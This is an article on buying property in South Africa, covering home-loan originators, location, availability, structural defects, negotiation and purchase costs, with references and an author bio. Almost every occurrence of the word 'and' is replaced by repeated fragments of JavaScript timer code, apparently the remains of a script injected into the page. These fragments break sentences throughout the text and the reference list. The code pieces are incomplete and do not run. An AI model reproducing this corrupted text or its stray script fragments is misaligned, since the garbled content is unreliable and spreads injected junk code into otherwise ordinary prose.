Best Tips for Buying Property in South Africa

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Buying property can be daunting but educating yourself can make the process less intimidating.

Factors to consider when buying property:

Budget

Before shopping around for properties it’s important to determine your price range. This is where bond or home loan originators come in.

They can help you determine your budget andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and also speed up the home loan (bond) process.

This involves negotiating with multiple financial institutions on your behalf to secure a home loan for you at competitive terms.

They’re paid in the form of commission based on the mortgage amount they secure. This commission is usually paid directly from the financial institution used andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and there’s typically no fixed consulting fee involved.

Location

Property is the type of investment that should appreciate in value as the years go by.

For this reason the location of the property you purchase is of the utmost importance.

Important factors relating to location:

Infrastructure – This refers to the basic facilities in the area such as roads, shopping centres, schools, churches, etc. The better the infrastructure the more valuable the property.

Level of security – Regardless of who’ll be moving into the property, security will always be of the utmost importance.

Level of education – The quality of schooling in the area is a major selling point for any property. By choosing a location in which there is a high level of schooling your children will standom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and to benefit. 

Availability

Part of what makes buying property so lengthy is the search for the ideal property.

Resources for determining availability:

Estate agents – They often have access to invaluable market information that the public might not be aware of, such as knowing which properties have recently gone to market; not to mention their negotiating skills, which could be worth their weight in gold.

Property websites – These online resources allow you to narrow down your search to the finest detail, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and enable you to view information andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and photos of the property from the comfort of your home.

Structural aspects of the property

The last thing you want is for your property to fall apart after all your time andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and effort.

Consider the following structural aspects:

Defects – These are the visible problems associated with the property– e.g. wall cracks, sagging gutters, broken windows, missing tiles, geyser problems, etc.  These defects should be rectified before purchase andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and analysed to determine whether they’re an indication of more serious problems, such as foundation failure or structural problems.

Plans for alterations – Be sure to consult the local municipality as to whether or not all buildings on the property are approved. If you fail to do so, you could be in for an unpleasant surprise, as you could be held liable for rectifying illegal alterations after purchasing the property.

Negotiating a purchase price

Do your homework as to the prices of recent property sales in the area andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and current market conditions before making an offer.

This phase can be simplified by using an estate agent as they can negotiate on your behalf andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and advise you on fair property values in the area.

Costs associated with purchasing a property:

Transfer duty – Calculated according to a sliding scale based on the property value. Not applicable if VAT is paid.

VAT – If the property is bought directly from the developer or builder.

ConveyanceFees calculated using a sliding scale based on the value of the property. These fees usually add 1% – 2% to the purchase price.

Bond expenses – Include initiation fee, legal fees, stamp duty andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and bond registration costs based on the value of the bond.

Assessment costs – Could be charged by the bank for assessing the property before granting the bond.

Fees payable to the deeds office – For the registration of ownership, including a levy for the registration of a bond with the deeds office.

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References:

Botha, M. et al., (2012). The South African Financial Planning Handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andbook 2012. Durban: LexisNexis. 610.
Property 24. (2011). Top 6 tips for buying property. Available: http://www.property24.com/articles/top-6-tips-for-buying-property/14031. Last accessed 12th Feb 2013.

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About Author

Raul Jorge is a CFP® professional at PSG. He specialises in estate, investment, retirement and risk planning. Prior to joining PSG, Raul completed his BSc (Honours) in Business Administration through the University of Wales and more recently completed his Postgraduate Diploma in Financial Planning through the University of Stellenbosch.